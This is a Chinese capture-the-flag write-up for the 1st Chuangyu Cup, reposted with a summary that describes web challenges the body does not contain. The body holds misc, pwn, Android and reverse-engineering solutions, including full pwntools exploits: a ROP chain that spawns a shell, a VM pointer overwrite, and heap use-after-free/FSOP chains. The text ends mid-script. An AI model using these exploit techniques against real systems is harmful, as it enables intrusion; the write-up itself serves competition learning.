第一届创宇杯网络安全技能大赛WP

admin 2026-09-21 04:58:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档为第一届创宇杯网络安全技能大赛的解题报告,涵盖三道WEB题目。第一题利用ReactRouterCVE-2025-43865漏洞,通过伪造X-React-Router-Prerender-Data头实现缓存投毒,结合XSS获取管理员权限读取flag;第二题通过伪造admin_authCookie绕过认证,并利用路径穿越过滤绕过漏洞读取flag文件;第三题涉及Flask调试器PIN码破解。文章提供了详细解题步骤、代码示例及验证输出,对CTF参赛者和安全研究人员具有较高参考价值。 综合评分: 85 文章分类: CTF,WEB安全,漏洞分析,实战经验


第一届创宇杯网络安全技能大赛WP

原创

玄网安全 oPis 玄网安全 oPis

玄网安全

2026年9月19日 19:36 浙江

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

附件:http://opiscodex.xyz/profile.html

第 2 步:提取两段 flag 并拼接

secret/Cat.png 中的文字提示打开 cat.txt。解压 cat.txt 后得到:

恭喜你拿到了老板的秘密,咦?........怎么只有一半!??
ZmxhZ3tlZmI3MjA0YS1hNGJlLTRiNWYtOTQ0OS01

第二行 Base64 解码为 flag 的前半段:

flag{efb7204a-a4be-4b5f-9449-5

继续检查 ZIP 的 EOCD。EOCD 后有一段额外 Base64:

Y2NkODBhZTMxNzl96L+Z5piv57uZ5L2g55qE54yr54yr55qEZmxhZw==

解码结果以 ccd80ae3179} 开头,后面的中文只是提示文本。因此取到 } 为止,并与前半段拼接。

完整复现脚本如下:

#!/usr/bin/env python3
import base64
import re
import struct
import sys
import zlib
from pathlib import Path

PNG = b"\x89PNG\r\n\x1a\n"
LOCAL = b"PK\x03\x04"
EOCD = b"PK\x05\x06"

def find_png_end(data):
    if not data.startswith(PNG):
        raise ValueError("not a PNG/ZIP polyglot")
    pos = 8
    while True:
        size = struct.unpack_from(">I", data, pos)[0]
        kind = data[pos + 4:pos + 8]
        pos += 12 + size
        if kind == b"IEND":
            return pos

def read_entries(archive):
    entries = {}
    pos = 0
    while archive[pos:pos + 4] == LOCAL:
&nbsp; &nbsp; &nbsp; &nbsp; fields = struct.unpack_from("<IHHHHHIIIHH", archive, pos)
&nbsp; &nbsp; &nbsp; &nbsp; _, _, _, method, _, _, _, csize, _, nsize, xsize = fields
&nbsp; &nbsp; &nbsp; &nbsp; name_at = pos +&nbsp;30
&nbsp; &nbsp; &nbsp; &nbsp; data_at = name_at + nsize + xsize
&nbsp; &nbsp; &nbsp; &nbsp; name = archive[name_at:name_at + nsize].decode()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;name.endswith("/"):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; entries[name] =&nbsp;b""
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;method !=&nbsp;8:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;ValueError("unexpected ZIP method")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; entries[name] = zlib.decompress(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; archive[data_at:data_at + csize],&nbsp;-15
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; pos = data_at + csize
&nbsp; &nbsp;&nbsp;return&nbsp;entries

def&nbsp;solve(path):
&nbsp; &nbsp; data = Path(path).read_bytes()
&nbsp; &nbsp; archive = data[find_png_end(data):]
&nbsp; &nbsp; entries = read_entries(archive)

&nbsp; &nbsp; first_b64 = re.search(
&nbsp; &nbsp; &nbsp; &nbsp; rb"[A-Za-z0-9+/=]{16,}", entries["secret/cat.txt"]
&nbsp; &nbsp; ).group()
&nbsp; &nbsp; first = base64.b64decode(first_b64)

&nbsp; &nbsp; eocd = archive.rfind(EOCD)
&nbsp; &nbsp; comment_len = struct.unpack_from("<H", archive, eocd +&nbsp;20)[0]
&nbsp; &nbsp; tail = archive[eocd +&nbsp;22&nbsp;+ comment_len:]
&nbsp; &nbsp; second_b64 = re.search(rb"[A-Za-z0-9+/=]{16,}", tail).group()
&nbsp; &nbsp; second = base64.b64decode(second_b64)
&nbsp; &nbsp; suffix = second[:second.index(b"}") +&nbsp;1]

&nbsp; &nbsp; flag = (first + suffix).decode()
&nbsp; &nbsp; print(flag)

solve(sys.argv[1]&nbsp;if&nbsp;len(sys.argv) >&nbsp;1&nbsp;else&nbsp;r"C:\Users\34645\Downloads\cat - 副本.pdf")

运行结果:

flag{efb7204a-a4be-4b5f-9449-5ccd80ae3179}

pwn1:blindrop

摘要

32 位无 PIE 栈溢出服务。软件 canary 把函数参数与局部副本绑在一起,用同一 dword 同时当假 canary 和 ROP 返回地址,leak libc 后 system("/bin/sh")。

解题过程

第 1 步:确认溢出与软件 canary

vuln() 中 read(0, buf, 0x400),buf 在 ebp-0x8c。返回地址在 +0x90。main 传入 expected=0xdcc82f00,函数把该值拷到 ebp-0xc;返回前比较两处,不等则 _exit(1)。溢出必须让 payload[0x80:0x84] == payload[0x94:0x98]。0x94 恰好是 ret 后的第一个栈槽,因此把它设成 ROP 的返回地址,并把同一值写进 +0x80。

远程:challenge.xiaoyuyc.com:29069,Ubuntu 22.04,libc libc6-i386_2.35-0ubuntu3.14。

#!/usr/bin/env python3
from&nbsp;pwn&nbsp;import&nbsp;*

elf = ELF("./blindrop", checksec=False)
context.binary = elf

HOST, PORT =&nbsp;"challenge.xiaoyuyc.com",&nbsp;29069
MAIN_LOOP =&nbsp;0x80492F3
POP_EBX_RET =&nbsp;0x8049022
PUTS_OFF, SYSTEM_OFF, BINSH_OFF =&nbsp;0x72810,&nbsp;0x47CD0,&nbsp;0x1B90D5

def&nbsp;overflow(ret, after_ret):
&nbsp; &nbsp; fake = after_ret[0]
&nbsp; &nbsp;&nbsp;return&nbsp;(
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;b"A"&nbsp;*&nbsp;0x80
&nbsp; &nbsp; &nbsp; &nbsp; + p32(fake)
&nbsp; &nbsp; &nbsp; &nbsp; +&nbsp;b"B"&nbsp;*&nbsp;0xC
&nbsp; &nbsp; &nbsp; &nbsp; + p32(ret)
&nbsp; &nbsp; &nbsp; &nbsp; +&nbsp;b"".join(p32(x)&nbsp;for&nbsp;x&nbsp;in&nbsp;after_ret)
&nbsp; &nbsp; )

io = remote(HOST, PORT)
io.recvuntil(b"payload> ")
io.send(overflow(elf.plt["write"], [MAIN_LOOP,&nbsp;1, elf.got["puts"],&nbsp;4]))
io.recvuntil(b"canary check passed.\n")
libc = u32(io.recvn(4)) - PUTS_OFF

io.recvuntil(b"payload> ")
io.send(overflow(libc + SYSTEM_OFF, [POP_EBX_RET, libc + BINSH_OFF]))
io.recvuntil(b"canary check passed.\n")
io.sendline(b"cat flag")
print(io.recvall(timeout=2).decode(errors="replace"))

Stage 1:write(1, puts@GOT, 4),返回 main+0x31 循环,该地址同时当假 canary。Stage 2:system("/bin/sh"),返回 pop ebx; ret 当假 canary。

flag{c28ff07a-1ed2-4361-9c5e-d33fa150a474}

PWN2:vmpwn

摘要

自定义栈式 VM 的 SETREG 把寄存器号当有符号下标且无边界检查,可覆盖相邻的 funcs[] 函数指针并 CALL 到 win()。

解题过程

第 1 步:覆盖 funcs[0] 调用 win

run_vm 在栈上排布:regs[8]、funcs[2]、stack[16]、sp。funcs[0]=safe_fn,funcs[1]=exit0。win() 读 /flag 并写出。

opcode:1 PUSH imm64、2 SETREG r、3 GETREG r、4 CALL which(which<=1)、5 HALT。SETREG/GETREG 对下标做 movsx 后直接 regs[r],可写到 funcs[0](index 8)。CALL 只检查 which<=1,不检查指针内容。

#!/usr/bin/env python3
from&nbsp;pwn&nbsp;import&nbsp;*

elf = ELF("./vmpwn", checksec=False)
context.binary = elf

HOST, PORT =&nbsp;"challenge.xiaoyuyc.com",&nbsp;26244
PUSH, SETREG, CALL, HALT =&nbsp;1,&nbsp;2,&nbsp;4,&nbsp;5

code = bytes([PUSH]) + p64(elf.symbols["win"]) + bytes([SETREG,&nbsp;8, CALL,&nbsp;0, HALT])
io = remote(HOST, PORT)
io.recvuntil(b"len> ")
io.sendline(str(len(code)).encode())
io.recvuntil(b"code> ")
io.send(code)
print(io.recvall(timeout=3).decode())
flag{ef2fa786-8080-4afb-bda8-da73c6170bc9}

PWN3:miao

摘要

NoteKeeper 堆笔记题。delete 不置空指针形成 UAF;glibc 2.35 下 unsorted leak + tcache poison _IO_list_all,House of Apple 2 在 exit 时 system(" &nbsp;sh")。

解题过程

第 1 步:UAF leak 后 FSOP

notes[16] 每项 {ptr, size}。delete 只 free(ptr),不 NULL。show/edit 仍可用。edit 还会 ptr[size]=0,必须按原 size 写满。

远程:challenge.xiaoyuyc.com:26575,libc Ubuntu GLIBC 2.35-0ubuntu3.8。unsorted fd 相对 libc 偏移 0x21ace0。tcache fd 经 safe-linking:fd = next ^ (chunk>>12)。

#!/usr/bin/env python3
from&nbsp;pwn&nbsp;import&nbsp;*

context.arch =&nbsp;"amd64"
elf = ELF("./miao", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
PROMPT =&nbsp;b">> "
io = remote("challenge.xiaoyuyc.com",&nbsp;26575)
io.recvuntil(PROMPT)

def&nbsp;menu(c):&nbsp;io.sendlineafter(PROMPT, str(c).encode())
def&nbsp;add(sz, data):
&nbsp; &nbsp; menu(1); io.sendlineafter(b"Size: ", str(sz).encode())
&nbsp; &nbsp; io.sendafter(b"Content: ", data.ljust(sz,&nbsp;b"\x00")[:sz])
def&nbsp;delete(i):
&nbsp; &nbsp; menu(2); io.sendlineafter(b"Index: ", str(i).encode())
def&nbsp;show(i, n):
&nbsp; &nbsp; menu(3); io.sendlineafter(b"Index: ", str(i).encode())
&nbsp; &nbsp; io.recvuntil(b"Content: ");&nbsp;return&nbsp;io.recvn(n)
def&nbsp;edit(i, data, sz):
&nbsp; &nbsp; menu(4); io.sendlineafter(b"Index: ", str(i).encode())
&nbsp; &nbsp; io.sendafter(b"Content: ", data.ljust(sz,&nbsp;b"\x00")[:sz])

add(0x500,&nbsp;b"A"*8) &nbsp;&nbsp;# 0 unsorted
add(0x20,&nbsp;b"C"*8) &nbsp; &nbsp;# 1
add(0x20,&nbsp;b"D"*8) &nbsp; &nbsp;# 2 tcache head
add(0x20,&nbsp;b"E"*8) &nbsp; &nbsp;# 3
add(0x400,&nbsp;b"B"*8) &nbsp;&nbsp;# 4 fake FILE
add(0x20,&nbsp;b"G"*8) &nbsp; &nbsp;# 5 guard

delete(0)
libc.address = u64(show(0,&nbsp;8)) -&nbsp;0x21ACE0
delete(1)
page = u64(show(1,&nbsp;8))
delete(2)
fd = u64(show(2,&nbsp;8))
chunk1 = fd ^ page
chunk2 = chunk1 +&nbsp;0x30
fp = chunk1 +&nbsp;0x90
edit(2, p64(libc.sym._IO_list_all ^ (chunk2 >>&nbsp;12)),&nbsp;0x20)

wide_data, wide_vtable, lock = fp+0xE8, fp+0x200, fp+0x300
fake = bytearray(0x400)
def&nbsp;w(off, val, n=8):&nbsp;fake[off:off+n] = p64(val)[:n]
fake[0:8] =&nbsp;b" &nbsp;sh\x00\x00\x00\x00"
w(0x20,&nbsp;0); w(0x28,&nbsp;1); w(0x88, lock); w(0xA0, wide_data)
w(0xC0,&nbsp;1,&nbsp;4); w(0xD8, libc.sym._IO_wfile_jumps)
w(0xE8+0x18,&nbsp;0); w(0xE8+0x20,&nbsp;1); w(0xE8+0x30,&nbsp;0)
w(0xE8+0xE0, wide_vtable); w(0x200+0x68, libc.sym.system)
edit(4, bytes(fake),&nbsp;0x400)

add(0x20,&nbsp;b"X"*8)
add(0x20, p64(fp))
menu(5)
io.sendline(b"cat flag")
print(io.recvall(timeout=2).decode(errors="replace"))

exit → _IO_flush_all → _IO_wfile_overflow → system(fp)。_flags 用 sh,避免 sh\x00 带上 _IO_UNBUFFERED。

Bye!
flag{ecb2473e-cdfd-4e97-bfef-4c4899d4aa1b}

安卓逆向1:WebPortal

摘要

APK 用 WebView + JNI nativeGetFlag(token) 取 flag。token 是 md5(android_id)(长度 32),assets/native/flag.dat 可用 so 内固定密钥离线解密。

解题过程

第 1 步:离线解密 flag.dat

libchallenge.so 中 Java_com_xiaoyuyc_mobile1_JsBridge_nativeGetFlag:token 转小写后与 md5(Settings.Secure.ANDROID_ID) 比较;通过后读 native/flag.dat(M1: + hex)。解密密钥为 so 中两段 16 字节 XOR:

5d91c42eb70368f019aa7c44d3289f61
XOR 57b1e285de927a932e4b7f5d777671fd
= 0a2026ab6991126337e10319a45eee9c

对密文按字节:key[(3+5i)&0xf] 链式 XOR、i*0x1d+0x41、rol3,i%7!=0 时再按 i%7 旋转。

#!/usr/bin/env python3
from&nbsp;pathlib&nbsp;import&nbsp;Path
from&nbsp;zipfile&nbsp;import&nbsp;ZipFile

apk = Path("WebPortal_1.0.apk")
with&nbsp;ZipFile(apk)&nbsp;as&nbsp;z:
&nbsp; &nbsp; blob = bytes.fromhex(z.read("assets/native/flag.dat")[3:].decode())
&nbsp; &nbsp; so = z.read("lib/arm64-v8a/libchallenge.so")

k1 = bytes.fromhex("5d91c42eb70368f019aa7c44d3289f61")
k2 = bytes.fromhex("57b1e285de927a932e4b7f5d777671fd")
key = bytes(a ^ b&nbsp;for&nbsp;a, b&nbsp;in&nbsp;zip(k1, k2))
MAGIC =&nbsp;0x2492492492492493

def&nbsp;imod7(i):
&nbsp; &nbsp; x16 = (i * MAGIC) >>&nbsp;64
&nbsp; &nbsp; x0 = i - x16
&nbsp; &nbsp; x16 = (x16 + (x0 >>&nbsp;1)) >>&nbsp;2
&nbsp; &nbsp;&nbsp;return&nbsp;(i + x16 - (x16 <<&nbsp;3)) &&nbsp;0xFFFFFFFFFFFFFFFF

w15 = (key[7] ^&nbsp;0xFFFFFFA5) &&nbsp;0xFFFFFFFF
x9, out =&nbsp;3, bytearray()
for&nbsp;i, orig&nbsp;in&nbsp;enumerate(blob):
&nbsp; &nbsp; w15 = (key[x9 &&nbsp;0xF] ^ w15) &&nbsp;0xFFFFFFFF
&nbsp; &nbsp; w15 = (w15 ^ ((i *&nbsp;0x1D&nbsp;+&nbsp;0x41) &&nbsp;0xFFFFFFFF)) &&nbsp;0xFFFFFFFF
&nbsp; &nbsp; w15 = (((w15 >>&nbsp;5) &&nbsp;7) | ((w15 <<&nbsp;3) &&nbsp;0xFFFFFFFF)) &&nbsp;0xFFFFFFFF
&nbsp; &nbsp; w16 = (w15 ^ orig) &&nbsp;0xFFFFFFFF
&nbsp; &nbsp; x17 = imod7(i)
&nbsp; &nbsp;&nbsp;if&nbsp;x17:
&nbsp; &nbsp; &nbsp; &nbsp; rot, inv = x17 &&nbsp;7, (-x17) &&nbsp;7
&nbsp; &nbsp; &nbsp; &nbsp; w16 = (((w16 &&nbsp;0xFF) >> rot) | ((w16 << inv) &&nbsp;0xFFFFFFFF)) &&nbsp;0xFFFFFFFF
&nbsp; &nbsp; out.append(w16 &&nbsp;0xFF)
&nbsp; &nbsp; x9 +=&nbsp;5
print(out.decode())
flag{WebView_MobIleI_2026Year}

安卓逆向2:茧中人

摘要

壳 libloader.so 用 Build.FINGERPRINT ^ 0x5A 解密 assets/init_res 得到 DEX。checkFlag 是 native:输入与静态 CIPHER_BLOCK 按签名哈希低字节做 XOR/rol3 比较。界面拼 flag{ + 输入 + }。

解题过程

第 1 步:解 DEX 并还原 checkFlag

init_res 解密:prev=0xAA,out[i]=rol6(prev ^ i ^ ct[i] ^ (fp[i%len(fp)]^0x5A)),prev=ct[i]。用 DEX 魔数/header_size/endian/string_ids_off 恢复 16 字节密钥,对应指纹前缀 com.xiaoyuyc.mob,Adler32 校验通过。

DEX 中 VerificationCenter.CIPHER_BLOCK 在 <clinit>:

c9886591cbb30850a9218890395a6d1759aef4c561d78644515c

native checkFlag(String, byte[]):state = (sigHash & 0xff) ^ 0x83,对每个输入字节 state = rol3(state ^ in[i]),要求 (state + 3*i) & 0xff == cipher[i]。so 内写死期望签名哈希 0xb743fbd9(低字节 0xd9)。逆向得明文 cyctf_mobile2_2026year_yes。

#!/usr/bin/env python3
from&nbsp;pathlib&nbsp;import&nbsp;Path
from&nbsp;zipfile&nbsp;import&nbsp;ZipFile
import&nbsp;struct, zlib

apk = Path("茧中人_1.0.apk")
with&nbsp;ZipFile(apk)&nbsp;as&nbsp;z:
&nbsp; &nbsp; ct = z.read("assets/init_res")

def&nbsp;rol6(x):
&nbsp; &nbsp;&nbsp;return&nbsp;((x <<&nbsp;6) | ((x >>&nbsp;2) &&nbsp;0x3F)) &&nbsp;0xFF

def&nbsp;ror6(x):
&nbsp; &nbsp;&nbsp;return&nbsp;((x >>&nbsp;6) | ((x <<&nbsp;2) &&nbsp;0xFF)) &&nbsp;0xFF

def&nbsp;recover(i, pt):
&nbsp; &nbsp; prev =&nbsp;0xAA&nbsp;if&nbsp;i ==&nbsp;0&nbsp;else&nbsp;ct[i -&nbsp;1]
&nbsp; &nbsp;&nbsp;return&nbsp;(ror6(pt) ^ prev ^ i ^ ct[i]) &&nbsp;0xFF

key = [0] *&nbsp;16
for&nbsp;i, pt&nbsp;in&nbsp;enumerate(b"dex\n035\x00"):
&nbsp; &nbsp; key[i] = recover(i, pt)
for&nbsp;off, raw&nbsp;in&nbsp;(
&nbsp; &nbsp; (0x20, struct.pack("<I", len(ct))),
&nbsp; &nbsp; (0x24, struct.pack("<I",&nbsp;0x70)),
&nbsp; &nbsp; (0x28, struct.pack("<I",&nbsp;0x12345678)),
&nbsp; &nbsp; (0x2C,&nbsp;b"\x00"&nbsp;*&nbsp;8),
&nbsp; &nbsp; (0x3C, struct.pack("<I",&nbsp;0x70)),
):
&nbsp; &nbsp;&nbsp;for&nbsp;j, pt&nbsp;in&nbsp;enumerate(raw):
&nbsp; &nbsp; &nbsp; &nbsp; key[(off + j) &&nbsp;0xF] = recover(off + j, pt)

dex = bytearray(len(ct))
prev =&nbsp;0xAA
for&nbsp;i&nbsp;in&nbsp;range(len(ct)):
&nbsp; &nbsp; dex[i] = rol6(prev ^ (i &&nbsp;0xFF) ^ ct[i] ^ key[i &&nbsp;0xF])
&nbsp; &nbsp; prev = ct[i]
assert&nbsp;dex.startswith(b"dex\n")&nbsp;and&nbsp;zlib.adler32(dex[12:]) &&nbsp;0xFFFFFFFF&nbsp;== struct.unpack_from("<I", dex,&nbsp;8)[0]

cipher = bytes.fromhex("c9886591cbb30850a9218890395a6d1759aef4c561d78644515c")

def&nbsp;ror3(x):
&nbsp; &nbsp;&nbsp;return&nbsp;((x >>&nbsp;3) | ((x <<&nbsp;5) &&nbsp;0xFF)) &&nbsp;0xFF

h, state, pt =&nbsp;0xD9,&nbsp;0xD9&nbsp;^&nbsp;0x83, bytearray()
for&nbsp;i, c&nbsp;in&nbsp;enumerate(cipher):
&nbsp; &nbsp; inp = state ^ ror3((c -&nbsp;3&nbsp;* i) &&nbsp;0xFF)
&nbsp; &nbsp; pt.append(inp)
&nbsp; &nbsp; state = c
print("flag{"&nbsp;+ pt.decode() +&nbsp;"}")
flag{cyctf_mobile2_2026year_yes}

RE1:Galgame

摘要

题目给出一个 Ren’Py 游戏包。核心脚本被编译成 RPYC2 文件,校验逻辑和一个经过单字节 XOR 的目标值都保存在解压后的序列化数据中。提取目标并用同样的 XOR 逆变换即可恢复输入。

解题过程

第 1 步:解包 RPYC2

游戏脚本位于 game/script.rpyc,文件头为 RENPY RPC2。头部后紧跟一个小端记录:

slot, offset, compressed_length = struct.unpack("<III", ...)

取出对应的 zlib 数据并解压。解压结果不是普通源码,而是 Ren’Py 序列化的 AST;其中仍保留了 exec 节点中的 Python 源码字符串。

第 2 步:恢复目标输入

在解压数据中可以看到:

heart =&nbsp;b'OJN\x1b\x1a\x1c\x1aHULLI\x1dUL\x1c\x1dKU\x1a\x19KOULO\x1cHKJ\x1e\x1dO\x1a@\x19'

def&nbsp;dec(content):
&nbsp; &nbsp;&nbsp;return&nbsp;''.join([chr(ord(i) ^&nbsp;0x78)&nbsp;for&nbsp;i&nbsp;in&nbsp;content]).encode()

encry_input = dec(user_input)
if&nbsp;encry_input == heart:
&nbsp; &nbsp;&nbsp;# success

dec 对每个字节异或 0x78。异或满足自反性,因此直接计算 heart[i] ^ 0x78 即可得到正确输入。成功提示还要求提交时加上 WuCup 前缀。

完整复现脚本:

"""Recover the accepted input from a Ren'Py RPYC2 script."""

import&nbsp;ast
import&nbsp;re
import&nbsp;struct
import&nbsp;sys
import&nbsp;zlib
from&nbsp;pathlib&nbsp;import&nbsp;Path

def&nbsp;solve(path: str)&nbsp;->&nbsp;None:
&nbsp; &nbsp; blob = Path(path).read_bytes()
&nbsp; &nbsp; magic =&nbsp;b"RENPY RPC2"
&nbsp; &nbsp;&nbsp;assert&nbsp;blob.startswith(magic)

&nbsp; &nbsp; slot, offset, length = struct.unpack_from("<III", blob, len(magic))
&nbsp; &nbsp;&nbsp;assert&nbsp;slot ==&nbsp;1
&nbsp; &nbsp; payload = zlib.decompress(blob[offset : offset + length])

&nbsp; &nbsp; match = re.search(rb"heart\s*=\s*(b'(?:[^'\\]|\\.)*')", payload)
&nbsp; &nbsp;&nbsp;assert&nbsp;match,&nbsp;"heart was not found"
&nbsp; &nbsp; heart = ast.literal_eval(match.group(1).decode("ascii"))

&nbsp; &nbsp; answer = bytes(byte ^&nbsp;0x78&nbsp;for&nbsp;byte&nbsp;in&nbsp;heart).decode("ascii")
&nbsp; &nbsp; print(answer)
&nbsp; &nbsp; print(f"WuCup{{{answer}}}")

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; solve(sys.argv[1])

输出:

726cbdb0-441e-4de3-ba37-47d032fe7b8a
WuCup{726cbdb0-441e-4de3-ba37-47d032fe7b8a}

RE2:tea

摘要

Windows PE tea.exe 用 WCP 加壳,运行后提示输入 flag。脱壳后可见标准 TEA 解密:密钥由四组常量按字合成,密文 10 个 uint32 解密得到 UUID,再拼成 flag{...}。

解题过程

第 1 步:识别与脱壳

tea.exe 为 x64 PE。磁盘上 .text 的 SizeOfRawData 为 0,节名 WCP0/WCP1/WCP2,代码被加壳。COFF 符号仍在:tea_decrypt_block、reconstruct_key、prefix_nums、enc_words、k_a–k_d、main。

程序启动后打印 Please enter the flag:。此时镜像已解密,读取进程模块即可拿到明文 .text / .rdata。

第 2 步:还原校验逻辑

main 流程:

  1. reconstruct_key(key):对 i=0..3,key[i] = (k_a[i] ^ k_b[i]) + k_c[i] ^ k_d[i](32 位)。
  2. 将 enc_words(10 个 LE uint32)两两一组,调用 tea_decrypt_block(标准 TEA,DELTA=0x9e3779b9,32 轮,sum 初值为 DELTA<<5)。
  3. 解密结果去掉末尾 \0 后为 36 字节 UUID。
  4. 期望 flag = "flag{" + uuid + "}",与输入做 strcmp。

第 3 步:解密

import&nbsp;struct

enc = bytes.fromhex(
&nbsp; &nbsp;&nbsp;"e349767d2cc5826264f2fef47088cb55"
&nbsp; &nbsp;&nbsp;"2a75aea83fd53aa3027ca31f1c601361"
&nbsp; &nbsp;&nbsp;"b418ef602c1131eb"
)
k_a = bytes.fromhex("4c3d2e1f0d0c0b0a4433221188776655")
k_b = bytes.fromhex("ddccbbaaccbbaa996655443300998877")
k_c = bytes.fromhex("04030201080706051211100916151413")
k_d = bytes.fromhex("efbeaddecefaedfeea1dadab0df0ad0b")

def&nbsp;u32s(b):
&nbsp; &nbsp;&nbsp;return&nbsp;list(struct.unpack("<"&nbsp;+&nbsp;"I"&nbsp;* (len(b) //&nbsp;4), b))

A, B, C, D = u32s(k_a), u32s(k_b), u32s(k_c), u32s(k_d)
key = [((A[i] ^ B[i]) + C[i] ^ D[i]) &&nbsp;0xFFFFFFFF&nbsp;for&nbsp;i&nbsp;in&nbsp;range(4)]

DELTA =&nbsp;0x9E3779B9

def&nbsp;tea_decrypt_block(v0, v1, key):
&nbsp; &nbsp; s = (DELTA <<&nbsp;5) &&nbsp;0xFFFFFFFF
&nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(32):
&nbsp; &nbsp; &nbsp; &nbsp; v1 = (v1 - (((v0 <<&nbsp;4) + key[2]) ^ (v0 + s) ^ ((v0 >>&nbsp;5) + key[3]))) &&nbsp;0xFFFFFFFF
&nbsp; &nbsp; &nbsp; &nbsp; v0 = (v0 - (((v1 <<&nbsp;4) + key[0]) ^ (v1 + s) ^ ((v1 >>&nbsp;5) + key[1]))) &&nbsp;0xFFFFFFFF
&nbsp; &nbsp; &nbsp; &nbsp; s = (s - DELTA) &&nbsp;0xFFFFFFFF
&nbsp; &nbsp;&nbsp;return&nbsp;v0, v1

ws = u32s(enc)
out =&nbsp;b""
for&nbsp;i&nbsp;in&nbsp;range(0, len(ws),&nbsp;2):
&nbsp; &nbsp; a, b = tea_decrypt_block(ws[i], ws[i +&nbsp;1], key)
&nbsp; &nbsp; out += struct.pack("<II", a, b)
print(b"flag{"&nbsp;+ out.rstrip(b"\x00") +&nbsp;b"}".decode())

运行输出:

flag{0d3747db-16f6-4c62-9665-b3e7531cefc8}

RE3:maze

摘要

Go 编写的 50×50 迷宫程序:用固定 LCG 生成主路径和额外通路,校验 U/R/D/L 路径后计算 md5(path + ":" + len(path)) 作为 flag。平台验收的是字典序偏右(先 R 后 D)的最短路径。

解题过程

第 1 步:识别逻辑

maze.exe 是 stripped 的 Go 1.24 Windows PE。pclntab 恢复出用户函数:

  • main.initMaze
  • main.generateMainPath
  • main.addExtraPaths(实际内联进 initMaze)
  • main.validatePath
  • main.calculateMD5
  • main.main

迷宫为 int64 maze[50][50],1 是墙,0 是路。起点 (0,0),终点 (49,49)。

initMaze:

  1. 全部填墙。
  2. 种子 0x123456789abcdef0 走 generateMainPath:LCG seed = seed * 0x5851f42d4c957f2d + 0x14057b7ef767814f,取 (seed >> 62) & 3。0/2 向右(列 +1),1/3 向下(行 +1),越界则丢弃。
  3. 用同一个初始种子再跑 300 次 LCG,把 (seed>>32)%48+1, (seed>>16)%48+1 打成通路。

validatePath 按字符查表移动:U=(-1,0), R=(0,+1), D=(+1,0), L=(0,-1)。越界、撞墙或未到达终点则失败。

通过后 Sprintf("%s:%d", path, len),再 md5 十六进制,打印 Flag: flag{%s}。程序提示“最短路径”,曼哈顿距离为 98,最短路径只能由 49 次 R 和 49 次 D 组成。

第 2 步:复现迷宫并取最短路径

主路径也能通过校验,但平台不收主路径对应的 hash。共 48 条仅含 R/D 的最短路径;验收的是每一步优先向右、不能再向右时才向下的那条。

import&nbsp;hashlib

N =&nbsp;50
SEED =&nbsp;0x123456789ABCDEF0
MUL =&nbsp;0x5851F42D4C957F2D
ADD =&nbsp;0x14057B7EF767814F
MASK = (1&nbsp;<<&nbsp;64) -&nbsp;1

def&nbsp;lcg(seed):
&nbsp; &nbsp;&nbsp;return&nbsp;(seed * MUL + ADD) & MASK

maze = [[1] * N&nbsp;for&nbsp;_&nbsp;in&nbsp;range(N)]
seed = SEED
maze[0][0] =&nbsp;0
x = y =&nbsp;0
while&nbsp;not&nbsp;(x == N -&nbsp;1&nbsp;and&nbsp;y == N -&nbsp;1):
&nbsp; &nbsp; seed = lcg(seed)
&nbsp; &nbsp; d = (seed >>&nbsp;62) &&nbsp;3
&nbsp; &nbsp; nx, ny = x, y
&nbsp; &nbsp;&nbsp;if&nbsp;d&nbsp;in&nbsp;(0,&nbsp;2):
&nbsp; &nbsp; &nbsp; &nbsp; ny = y +&nbsp;1
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; nx = x +&nbsp;1
&nbsp; &nbsp;&nbsp;if&nbsp;0&nbsp;<= nx < N&nbsp;and&nbsp;0&nbsp;<= ny < N:
&nbsp; &nbsp; &nbsp; &nbsp; x, y = nx, ny
&nbsp; &nbsp; &nbsp; &nbsp; maze[x][y] =&nbsp;0

seed = SEED
for&nbsp;_&nbsp;in&nbsp;range(300):
&nbsp; &nbsp; seed = lcg(seed)
&nbsp; &nbsp; maze[(seed >>&nbsp;32) %&nbsp;48&nbsp;+&nbsp;1][(seed >>&nbsp;16) %&nbsp;48&nbsp;+&nbsp;1] =&nbsp;0
maze[0][0] = maze[N -&nbsp;1][N -&nbsp;1] =&nbsp;0

ways = [[0] * N&nbsp;for&nbsp;_&nbsp;in&nbsp;range(N)]
ways[N -&nbsp;1][N -&nbsp;1] =&nbsp;1
for&nbsp;i&nbsp;in&nbsp;range(N -&nbsp;1,&nbsp;-1,&nbsp;-1):
&nbsp; &nbsp;&nbsp;for&nbsp;j&nbsp;in&nbsp;range(N -&nbsp;1,&nbsp;-1,&nbsp;-1):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;maze[i][j] !=&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ways[i][j] =&nbsp;0
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;i == N -&nbsp;1&nbsp;and&nbsp;j == N -&nbsp;1:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue
&nbsp; &nbsp; &nbsp; &nbsp; w =&nbsp;0
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;i +&nbsp;1&nbsp;< N:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; w += ways[i +&nbsp;1][j]
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;j +&nbsp;1&nbsp;< N:
